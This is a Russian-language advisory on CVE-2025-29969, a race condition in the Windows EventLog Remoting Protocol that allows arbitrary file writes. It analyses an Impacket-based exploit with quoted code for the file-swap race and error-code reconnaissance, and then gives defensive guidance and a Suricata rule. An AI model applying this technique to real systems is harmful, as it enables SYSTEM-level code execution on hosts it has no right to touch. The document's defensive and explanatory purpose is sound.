Уязвимость BDU:2025-05597 (CVE-2025-29969) Windows MS-EVEN
Уязвимость BDU:2025-05597 (CVE-2025-29969) затрагивает реализацию протокола MS-EVEN (EventLog Remoting Protocol) в операционных системах Windows. Ошибка синхронизации при использовании общего ресурса («ситуация гонки») позволяет злоумышленнику, уже имеющему низкопривилегированный доступ к системе выполнить произвольный код.
Анализ уязвимости
Уровень опасности: 7.5 (HIGH)
Вектор атаки: AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
-
AV:N (Вектор атаки: сетевой) – уязвимость может быть использована удалённо, без физического доступа к устройству.
-
AC:H (Сложность атаки: высокая) – успешная эксплуатация требует выиграть в «гонке» (race condition), что повышает сложность реализации.
-
PR:L (Необходимые привилегии: низкие) – атакующему достаточно иметь низкопривилегированные учётные данные (например, обычного доменного пользователя).
-
UI:N (Взаимодействие с пользователем: не требуется) – атака не требует действий со стороны легитимного пользователя.
-
S:U (Влияние на другие компоненты: не оказывает) – компрометация системы не выходит за её пределы.
-
C:H/I:H/A:H (Конфиденциальность/Целостность/Доступность: полное нарушение) – успешная эксплуатация даёт злоумышленнику полный контроль над целевой системой.
Условия эксплуатации
Для успешной атаки злоумышленник должен:
-
находиться во внутренней сети (или иметь возможность взаимодействия с целевым хостом по протоколам SMB/RPC);
-
обладать низкопривилегированными учётными данными (логин/пароль) на целевой системе (например, обычный доменный пользователь);
-
иметь возможность поднять SMB-сервер для доставки полезной нагрузки (эксплойт использует SMB-шару, контролируемую атакующим);
-
преодолеть «гонку» между проверкой прав доступа и фактической записью файла (условие, усложняющее атаку).
Технический анализ уязвимости
Уязвимость кроется в реализации протокола MS-EVEN, используемого службой журналов событий Windows для удалённого управления логами. Функция резервного копирования (hElfrBackupELFW) не обеспечивает атомарность проверки прав доступа и последующей записи файла. Это приводит к состоянию гонки: злоумышленник может заменить содержимое файла, который будет скопирован, в промежутке между открытием источника и выполнением копирования.
В эксплойте используется следующая последовательность:
-
Через RPC-вызов
hElfrOpenBELWоткрывается файл-источник (EVTX-лог), расположенный на SMB-шаре атакующего. -
Атакующий получает дескриптор и тут же (до фактического копирования) перезаписывает этот файл своими данными.
-
Вызов
hElfrBackupELFWинициирует копирование, но из-за гонки на диск целевой системы попадает уже подменённое содержимое (произвольный файл), а не оригинальный EVTX. -
Запись может быть выполнена в любое место, доступное для записи процессом службы (как правило,
SYSTEM), что позволяет злоумышленнику разместить, например, исполняемый скрипт в папке автозагрузки.
Дополнительно, функция hElfrOpenBELW возвращает различные коды ошибок в зависимости от существования файла и его типа, что даёт возможность низкопривилегированному пользователю проводить разведку файловой системы удалённой машины.
Анализ кода эксплойта
Рассмотрим код эксплойта для понимания вектора атаки с использованием уязвимости BDU:2025-05597 (CVE-2025-29969). Эксплойт предоставлен в виде двух скриптов на Python, использующих библиотеку Impacket для взаимодействия с RPC.
1. Установка соединения и аутентификация
Класс Attacker инициализирует транспорт ncacn_np:{ip}[\pipe\eventlog] – это именованный канал (named pipe) службы EventLog. Через DCERPCTransportFactory устанавливается соединение, а затем производится аутентификация с помощью переданных учётных данных.
self.connection = DCERPCTransportFactory(self.EVENT_LOG_NCACN.format(ip=ip)) self.connection.set_credentials(username, password) self.connection.connect() self.dce = self.connection.get_dce_rpc() self.dce.set_auth_level(self.RPC_C_AUTHN_LEVEL_PKT_INTEGRITY) self.dce.connect() self.dce.bind(even.MSRPC_UUID_EVEN)
Особенность реализации – установка уровня аутентификации RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, что обеспечивает проверку целостности пакетов, но не шифрование. Это стандартный подход для клиентских подключений к службе EventLog.
2. Работа с UNICODE-строками
В протоколе MS-EVEN пути к файлам передаются как структуры RPC_UNICODE_STRING. В коде присутствует модификация этой структуры:
def create_rpc_unicode_string(self, regular_string):
crafted_unicode_string = RPC_UNICODE_STRING()
crafted_unicode_string['Data'] = regular_string
crafted_unicode_string.fields['MaximumLength'] += 1
return crafted_unicode_string
Добавление единицы к MaximumLength необходимо из-за особенности реализации службы. Без этого некоторые вызовы могут завершаться ошибкой.
3. Механизм записи произвольного файла
Главная функция upload_file реализует следующий алгоритм:
-
Создаётся временная копия легитимного EVTX-файла.
-
Путь к этому файлу преобразуется в UNC-путь SMB-шары (например,
\\smb_server_ip\Share\Temp_Sample.evtx). -
Открывается дескриптор этого файла через
hElfrOpenBELW. -
Ключевой момент: после открытия, но до вызова
hElfrBackupELFW, временный файл перезаписывается данными изlocal_file_path(полезная нагрузка). -
Вызывается
hElfrBackupELFWс дескриптором открытого файла и целевым путём на удалённой системе.
with open(temp_valid_evtx_file, "rb+") as valid_evtx_file:
handle = even.hElfrOpenBELW(self.dce, unicode_valid_evtx_share_path)
valid_evtx_file.seek(0)
valid_evtx_file.write(local_file_path_data + b"\x00")
valid_evtx_file.flush()
even.hElfrBackupELFW(self.dce, handle["LogHandle"], unicode_remote_path)
Использование seek(0) и перезапись данных гарантирует, что к моменту вызова BackupELFW файл уже содержит произвольное содержимое. В результате служба EventLog копирует на удалённую машину не EVTX, а подготовленный злоумышленником файл.
4. Разведка файловой системы
Скрипт check_if_exists.py использует ту же технику открытия файла, но анализирует возвращаемые ошибки. Возможные коды:
-
0xc0000034– файл не существует. -
0xc00000ba– путь указывает на существующую директорию. -
0xc000018e– файл существует (и не является директорией).
Это позволяет низкопривилегированному пользователю проверять наличие файлов в местах, где обычно доступ на чтение ограничен, но RPC-служба EventLog всё равно возвращает информацию о существовании. Например, так можно определить, установлено ли определённое программное обеспечение (C:\Program Files\Wireshark), что даёт ценную информацию для дальнейшей атаки.
Методы защиты
1. Установка обновлений безопасности
Microsoft выпустила исправления для всех уязвимых версий Windows. Обновления распространяются через Центр обновлений Windows и представлены в виде отдельных KB для каждой платформы. Приоритет – немедленное применение патчей.
2. Сетевая сегментация и межсетевое экранирование
Поскольку атака требует доступа к портам RPC (135, 139, 445, 49152-65535) и SMB, следует:
-
Ограничить доступ к этим портам только для доверенных хостов (например, серверов управления).
-
В правилах брандмауэра разрешить подключения к службе EventLog только с конкретных IP-адресов администраторов.
-
Размещать критически важные системы в отдельных сегментах сети с изоляцией от рядовых пользовательских рабочих станций.
3. Обнаружение и предотвращение атак (IPS/EDR)
Использование системы предотвращения вторжений (IPS) на сетевом уровне или EDR на хосте позволяет детектировать характерные для данной атаки действия.
Где размещать IPS?
Для защиты внутренней инфраструктуры IPS целесообразно размещать:
-
На сетевом периметре (между сегментами) – для обнаружения попыток эксплуатации между разными подсетями.
-
На хосте (Host IPS / EDR) – для анализа RPC-вызовов и файловых операций непосредственно на целевой системе.
В случае с данной уязвимостью наиболее эффективен хост-уровень, так как сетевой трафик MS-EVEN может быть зашифрован или смешан с легитимными операциями.
Правила для Suricata (пример)
Ниже представлен пример правила для Suricata, которое срабатывает на попытку резервного копирования EventLog с использованием SMB-шары в качестве источника. Правило анализирует RPC-вызовы и проверяет, что целевой путь выходит за пределы стандартных каталогов логов. Важно: имена файлов могут быть изменены, поэтому сигнатура ориентируется на комбинацию операций и аномальные пути.
alert tcp $HOME_NET any -> $EXTERNAL_NET 445 (msg:"MS-EVEN BackupELFW with external SMB source"; flow:to_server,established; dcerpc.interface:0x82273fdc-e32a-18c3-3f78-827929dc23ea; dcerpc.opnum:5; content:"\\|5c|"; depth:2; pcre:"/\\\\([^\\]+)\\\\Share\\\\.*\.evtx/"; sid:202529969); rev:1;)
Описание: правило срабатывает при вызове RPC-операции с номером 5 (hElfrBackupELFW) через интерфейс EventLog, если в аргументе (пути к источнику) встречается UNC-путь к внешнему SMB-ресурсу. Такая комбинация не характерна для легитимной работы службы и с высокой вероятностью указывает на атаку.
Более точное обнаружение возможно с помощью EDR-решений, которые отслеживают:
-
запуск процесса
svchost.exe -k EventLogс нестандартными аргументами; -
создание файлов в необычных местах (например, в автозагрузке) процессами, имеющими права
SYSTEM; -
обращение к SMB-шарам из контекста службы EventLog.
4. Принцип наименьших привилегий
-
Отключите службу удалённого управления журналами событий (Windows Remote Management – WinRM, связанный с EventLog) на тех системах, где это не требуется.
-
Используйте групповые политики для ограничения доступа к службе EventLog: разрешайте удалённые подключения только учётным записям из групп администраторов.
-
Если возможно, настройте аудит доступа к SMB-портам и журналируйте попытки подключения к именованному каналу
\pipe\eventlog.
5. Мониторинг SMB-соединений
Так как атака требует SMB-сервера злоумышленника, полезно отслеживать исходящие SMB-соединения (порт 445) от серверов и рабочих станций к незнакомым или внешним хостам. Настроить алерты на такие подключения, особенно если они инициированы процессом svchost.exe с параметрами EventLog.